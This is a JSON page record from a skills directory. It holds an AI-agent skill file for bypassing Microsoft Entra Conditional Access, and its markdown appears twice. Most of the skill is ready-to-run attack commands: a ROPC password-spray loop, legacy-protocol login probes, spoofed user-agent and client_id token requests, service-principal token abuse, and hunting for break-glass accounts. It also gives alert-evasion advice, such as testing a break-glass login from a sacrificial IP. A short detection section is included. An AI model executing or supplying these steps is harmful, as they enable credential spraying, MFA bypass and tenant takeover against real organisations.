[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M797XMJ0K0DBYDFHCWHWZJAB":3,"skill-same:01M797XMJ0K0DBYDFHCWHWZJAB":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M797XMJ0K0DBYDFHCWHWZJAB","entra-conditional-access-bypass",null,"Entra Conditional Access bypass — discover policy gaps, exploit legacy-auth protocols (IMAP\u002FPOP\u002FSMTP-AUTH\u002FEWS), spoof device\u002Fplatform\u002FUA\u002Flocation conditions, abuse service-principals + app-based auth excluded from CA, and break-glass account misuse.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fentra-conditional-access-bypass\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: entra-conditional-access-bypass\ndescription: \"Entra Conditional Access bypass — discover policy gaps, exploit legacy-auth protocols (IMAP\u002FPOP\u002FSMTP-AUTH\u002FEWS), spoof device\u002Fplatform\u002FUA\u002Flocation conditions, abuse service-principals + app-based auth excluded from CA, and break-glass account misuse.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"conditional access ca bypass legacy auth basic auth imap pop smtp ews activesync device compliance trusted location user agent break glass service principal app auth mfa bypass\"\n  subdomain: cloud\n  tags: azure, entra-id, conditional-access, mfa-bypass\n  mitre_attack: T1556, T1078.004, T1550.001, T1199\n---\n\n# Entra Conditional Access Bypass\n\nConditional Access (CA) policies gate sign-ins by user\u002Fapp\u002Fplatform\u002Flocation\u002Fdevice. Bypasses come from the **gaps** in policy scoping — legacy protocols not covered, service-principal flows out of scope, device\u002FUA conditions spoofable, break-glass accounts excluded.\n\n## Phase 1: Enumerate the policy surface\n\n### Authenticated (Graph)\n```bash\nTOKEN=\u003CGLOBAL_READER_OR_SECREADER>\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fbeta\u002Fpolicies\u002FconditionalAccessPolicies\" \\\n  | jq '.value[] | {n:.displayName, st:.state, users:.conditions.users, apps:.conditions.applications, plat:.conditions.platforms, loc:.conditions.locations, ctrl:.grantControls}'\n```\n\n### Authenticated (roadrecon)\n```bash\nroadrecon plugin policies > capolicies.json\n# Look for: state=enabledForReportingButNotEnforced (audit-only), excludeUsers (BG accounts), excludeApplications, includeApplications missing 'All cloud apps'\n```\n\n### Unauth signals\nSign-in failure error codes reveal CA:\n- `AADSTS53003` = blocked by Conditional Access — confirms a policy fired\n- `AADSTS50158` = external security challenge required (MFA-by-CA)\n- `AADSTS50053` = locked → smart-lockout, not CA\n- `AADSTS500011` = resource principal not found in tenant → app exclusion path\n- No `53003` across many protocols + locations → CA has gaps\n\n## Phase 2: Legacy auth bypass (basic auth survival)\n\nDespite \"basic auth deprecation\", many tenants still allow SMTP-AUTH; ROPC (Resource Owner Password Credentials) over `oauth2\u002Ftoken` is also frequently NOT covered by CA (CA gates `Browser` + `Modern auth clients`, but ROPC sneaks through if the policy doesn't include `Other clients`).\n\n### ROPC spray (no MFA prompt)\n```bash\nTARGET=\u003CTARGET>; TENANT=\u003CTENANT>\nfor u in $(cat valid_users.txt); do\n  for p in $(cat pwlist.txt); do\n    r=$(curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Ftoken\" \\\n      -d \"resource=https:\u002F\u002Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=${p}\")\n    if echo \"$r\" | jq -e .access_token >\u002Fdev\u002Fnull; then echo \"WIN: $u:$p\"; break; fi\n    sleep $((RANDOM % 3 + 4))\n  done\ndone\n```\n\n### SMTP-AUTH (Exchange Online)\n```bash\n# CA \"block legacy auth\" usually scopes 'Exchange ActiveSync' + 'Other clients' — verify SMTP submission:\nswaks --server smtp.office365.com:587 --tls --auth LOGIN \\\n  --auth-user \u003CUPN> --auth-password '\u003CPW>' \\\n  --from \u003CUPN> --to \u003CUPN> --header \"Subject: t\" --body t\n# 235 Authentication succeeded => SMTP-AUTH is alive ; tenant likely also lets ROPC through.\n```\n\n### IMAP \u002F POP\n```bash\nopenssl s_client -crlf -connect outlook.office365.com:993\n# A1 LOGIN \u003CUPN> \"\u003CPW>\"\n```\n\n### EWS \u002F Autodiscover with NTLM-over-OAuth\n```bash\n# MailSniper (PS) — pulls mailboxes via EWS using OAuth token, skips CA on EWS-app if 'Office 365 Exchange Online' isn't in policy scope:\nInvoke-OpenInboxFinder -EmailList users.txt -ExchHostname outlook.office365.com -Verbose\n```\n\n## Phase 3: Device \u002F platform spoofing\n\nCA \"require compliant device\" + \"platform = Windows\" rely on UA + `x-ms-DeviceType` headers — spoofable when the tenant lacks device certificate enforcement.\n\n```bash\n# Pretend to be a managed Windows client to bypass \"block non-Windows\":\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -H \"User-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 Edge\u002F120.0\" \\\n  -H \"x-ms-PKeyAuth: 1.0\" \\\n  -d \"client_id=29d9ed98-a469-4536-ade2-f981bc1d605e&grant_type=password&username=\u003CUPN>&password=\u003CPW>&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n# client_id 29d9ed98 = Microsoft Authentication Broker — often in CA exclusion.\n```\n\nPKeyAuth spoof — without the actual device cert, this only works against CAs that just check the *advertised* platform, not device compliance state (very common misconfig).\n\n### Trusted-location bypass\n```bash\n# Tunnel auth from a VPS in a trusted-IP range. List location named-ranges:\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fidentity\u002FconditionalAccess\u002FnamedLocations\" | jq '.[]|{n:.displayName,r:.ipRanges}'\n# If a partner ASN is \"trusted\", any cloud VM in that ASN bypasses the geo control.\n```\n\n## Phase 4: Service-principal \u002F app-based bypass\n\nCA historically scoped to USERS only. Workload Identity CA exists but is rarely enforced — service principals with `Application.ReadWrite.All` etc. authenticate as the app, no user, no MFA, no CA (unless `Workload Identity` CA is configured with `Sign-in risk` policies).\n\n```bash\n# If you have an app's client_id + secret\u002Fcert:\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=\u003CAPP_ID>&client_secret=\u003CSECRET>&grant_type=client_credentials&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n# This token has Application permissions — bypasses user-scoped CA entirely.\n```\n\nSee `entra-privesc` § service-principal credential addition for how to mint that secret.\n\n## Phase 5: Break-glass account abuse\n\nBest practice: 2 BG accounts excluded from ALL CA + MFA, monitored by a SIEM alert. Reality: alert is misconfigured or the BG password is in a Confluence page \u002F shared vault. Hunt:\n\n```bash\n# Find users excluded from MFA-enforcing policies:\njq '.value[] | select(.grantControls.builtInControls | tostring | contains(\"mfa\")) | .conditions.users.excludeUsers' capolicies.json | sort -u\n# UPNs of break-glass accounts. Search Confluence\u002FSharePoint\u002Fgit for those UPNs.\n```\n\nIf BG creds are recovered → unrestricted Global Admin login from any IP, no MFA.\n\n## Chains\n- **`entra-enum` spray (no 53003) → ROPC password spray → mailbox** (CA gap on `Other clients`).\n- **Phished low-priv user with Application.ReadWrite.All → mint app cert → app-token bypasses all user CA** → tenant takeover.\n- **Discover BG account UPN → search internal wiki → unrestricted sign-in**.\n- **CA excludes `Microsoft Azure Management` for emergency cases → use that client_id for ARM ops while avoiding MFA**.\n\n## Tools\n- **MSOLSpray \u002F TeamFiltration** — ROPC password spray with CA-aware error parsing.\n- **MailSniper** — EWS legacy-protocol pillage.\n- **AADInternals** `Invoke-AADIntPhoneSubscriberAuth` — Phone-Subscriber-Auth bypass (deprecated but still works in some tenants).\n- **roadtx** — arbitrary `client_id` + scope auth → CA-exclusion exploitation.\n- **swaks** — SMTP-AUTH probing.\n\n## Detection signatures\n- Sign-in log: `Client app = Other clients` with successful auth → ROPC\u002Flegacy auth survived.\n- Many `53003` failures from same IP → CA working; pivot away from that protocol\u002Fapp combo.\n- Successful sign-in from break-glass account *without* a corresponding Sentinel alert → silent BG abuse.\n- App sign-in (`Service principal sign-ins` table) from non-corp IP → SP credential abuse — distinct table, often un-monitored.\n\n## Decision gate\n- All sign-ins return `53003` regardless of protocol → CA is tight; pivot to phishing (`entra-device-code-phishing`).\n- ROPC succeeds for `Microsoft Azure CLI` client_id but not browser → CA scoped to browser only — use CLI tokens for everything.\n- Found an excluded SP with `RoleManagement.ReadWrite.Directory` → escalate via `entra-privesc`.\n- BG account inventory hit → log in once from a sacrificial IP to verify no alert fires, then operate from that account.\n","# Entra Conditional Access Bypass\n\nConditional Access (CA) policies gate sign-ins by user\u002Fapp\u002Fplatform\u002Flocation\u002Fdevice. Bypasses come from the **gaps** in policy scoping — legacy protocols not covered, service-principal flows out of scope, device\u002FUA conditions spoofable, break-glass accounts excluded.\n\n## Phase 1: Enumerate the policy surface\n\n### Authenticated (Graph)\n```bash\nTOKEN=\u003CGLOBAL_READER_OR_SECREADER>\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fbeta\u002Fpolicies\u002FconditionalAccessPolicies\" \\\n  | jq '.value[] | {n:.displayName, st:.state, users:.conditions.users, apps:.conditions.applications, plat:.conditions.platforms, loc:.conditions.locations, ctrl:.grantControls}'\n```\n\n### Authenticated (roadrecon)\n```bash\nroadrecon plugin policies > capolicies.json\n# Look for: state=enabledForReportingButNotEnforced (audit-only), excludeUsers (BG accounts), excludeApplications, includeApplications missing 'All cloud apps'\n```\n\n### Unauth signals\nSign-in failure error codes reveal CA:\n- `AADSTS53003` = blocked by Conditional Access — confirms a policy fired\n- `AADSTS50158` = external security challenge required (MFA-by-CA)\n- `AADSTS50053` = locked → smart-lockout, not CA\n- `AADSTS500011` = resource principal not found in tenant → app exclusion path\n- No `53003` across many protocols + locations → CA has gaps\n\n## Phase 2: Legacy auth bypass (basic auth survival)\n\nDespite \"basic auth deprecation\", many tenants still allow SMTP-AUTH; ROPC (Resource Owner Password Credentials) over `oauth2\u002Ftoken` is also frequently NOT covered by CA (CA gates `Browser` + `Modern auth clients`, but ROPC sneaks through if the policy doesn't include `Other clients`).\n\n### ROPC spray (no MFA prompt)\n```bash\nTARGET=\u003CTARGET>; TENANT=\u003CTENANT>\nfor u in $(cat valid_users.txt); do\n  for p in $(cat pwlist.txt); do\n    r=$(curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Ftoken\" \\\n      -d \"resource=https:\u002F\u002Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=${p}\")\n    if echo \"$r\" | jq -e .access_token >\u002Fdev\u002Fnull; then echo \"WIN: $u:$p\"; break; fi\n    sleep $((RANDOM % 3 + 4))\n  done\ndone\n```\n\n### SMTP-AUTH (Exchange Online)\n```bash\n# CA \"block legacy auth\" usually scopes 'Exchange ActiveSync' + 'Other clients' — verify SMTP submission:\nswaks --server smtp.office365.com:587 --tls --auth LOGIN \\\n  --auth-user \u003CUPN> --auth-password '\u003CPW>' \\\n  --from \u003CUPN> --to \u003CUPN> --header \"Subject: t\" --body t\n# 235 Authentication succeeded => SMTP-AUTH is alive ; tenant likely also lets ROPC through.\n```\n\n### IMAP \u002F POP\n```bash\nopenssl s_client -crlf -connect outlook.office365.com:993\n# A1 LOGIN \u003CUPN> \"\u003CPW>\"\n```\n\n### EWS \u002F Autodiscover with NTLM-over-OAuth\n```bash\n# MailSniper (PS) — pulls mailboxes via EWS using OAuth token, skips CA on EWS-app if 'Office 365 Exchange Online' isn't in policy scope:\nInvoke-OpenInboxFinder -EmailList users.txt -ExchHostname outlook.office365.com -Verbose\n```\n\n## Phase 3: Device \u002F platform spoofing\n\nCA \"require compliant device\" + \"platform = Windows\" rely on UA + `x-ms-DeviceType` headers — spoofable when the tenant lacks device certificate enforcement.\n\n```bash\n# Pretend to be a managed Windows client to bypass \"block non-Windows\":\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -H \"User-Agent: Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 Edge\u002F120.0\" \\\n  -H \"x-ms-PKeyAuth: 1.0\" \\\n  -d \"client_id=29d9ed98-a469-4536-ade2-f981bc1d605e&grant_type=password&username=\u003CUPN>&password=\u003CPW>&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n# client_id 29d9ed98 = Microsoft Authentication Broker — often in CA exclusion.\n```\n\nPKeyAuth spoof — without the actual device cert, this only works against CAs that just check the *advertised* platform, not device compliance state (very common misconfig).\n\n### Trusted-location bypass\n```bash\n# Tunnel auth from a VPS in a trusted-IP range. List location named-ranges:\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fidentity\u002FconditionalAccess\u002FnamedLocations\" | jq '.[]|{n:.displayName,r:.ipRanges}'\n# If a partner ASN is \"trusted\", any cloud VM in that ASN bypasses the geo control.\n```\n\n## Phase 4: Service-principal \u002F app-based bypass\n\nCA historically scoped to USERS only. Workload Identity CA exists but is rarely enforced — service principals with `Application.ReadWrite.All` etc. authenticate as the app, no user, no MFA, no CA (unless `Workload Identity` CA is configured with `Sign-in risk` policies).\n\n```bash\n# If you have an app's client_id + secret\u002Fcert:\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=\u003CAPP_ID>&client_secret=\u003CSECRET>&grant_type=client_credentials&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n# This token has Application permissions — bypasses user-scoped CA entirely.\n```\n\nSee `entra-privesc` § service-principal credential addition for how to mint that secret.\n\n## Phase 5: Break-glass account abuse\n\nBest practice: 2 BG accounts excluded from ALL CA + MFA, monitored by a SIEM alert. Reality: alert is misconfigured or the BG password is in a Confluence page \u002F shared vault. Hunt:\n\n```bash\n# Find users excluded from MFA-enforcing policies:\njq '.value[] | select(.grantControls.builtInControls | tostring | contains(\"mfa\")) | .conditions.users.excludeUsers' capolicies.json | sort -u\n# UPNs of break-glass accounts. Search Confluence\u002FSharePoint\u002Fgit for those UPNs.\n```\n\nIf BG creds are recovered → unrestricted Global Admin login from any IP, no MFA.\n\n## Chains\n- **`entra-enum` spray (no 53003) → ROPC password spray → mailbox** (CA gap on `Other clients`).\n- **Phished low-priv user with Application.ReadWrite.All → mint app cert → app-token bypasses all user CA** → tenant takeover.\n- **Discover BG account UPN → search internal wiki → unrestricted sign-in**.\n- **CA excludes `Microsoft Azure Management` for emergency cases → use that client_id for ARM ops while avoiding MFA**.\n\n## Tools\n- **MSOLSpray \u002F TeamFiltration** — ROPC password spray with CA-aware error parsing.\n- **MailSniper** — EWS legacy-protocol pillage.\n- **AADInternals** `Invoke-AADIntPhoneSubscriberAuth` — Phone-Subscriber-Auth bypass (deprecated but still works in some tenants).\n- **roadtx** — arbitrary `client_id` + scope auth → CA-exclusion exploitation.\n- **swaks** — SMTP-AUTH probing.\n\n## Detection signatures\n- Sign-in log: `Client app = Other clients` with successful auth → ROPC\u002Flegacy auth survived.\n- Many `53003` failures from same IP → CA working; pivot away from that protocol\u002Fapp combo.\n- Successful sign-in from break-glass account *without* a corresponding Sentinel alert → silent BG abuse.\n- App sign-in (`Service principal sign-ins` table) from non-corp IP → SP credential abuse — distinct table, often un-monitored.\n\n## Decision gate\n- All sign-ins return `53003` regardless of protocol → CA is tight; pivot to phishing (`entra-device-code-phishing`).\n- ROPC succeeds for `Microsoft Azure CLI` client_id but not browser → CA scoped to browser only — use CLI tokens for everything.\n- Found an excluded SP with `RoleManagement.ReadWrite.Directory` → escalate via `entra-privesc`.\n- BG account inventory hit → log in once from a sacrificial IP to verify no alert fires, then operate from that account.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"azure, entra-id, conditional-access, mfa-bypass","cloud","conditional access ca bypass legacy auth basic auth imap pop smtp ews activesync device compliance trusted location user agent break glass service principal app auth mfa bypass","T1556, T1078.004, T1550.001, T1199","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fentra-conditional-access-bypass",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill entra-conditional-access-bypass",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill entra-conditional-access-bypass",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill entra-conditional-access-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Fentra-conditional-access-bypass\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]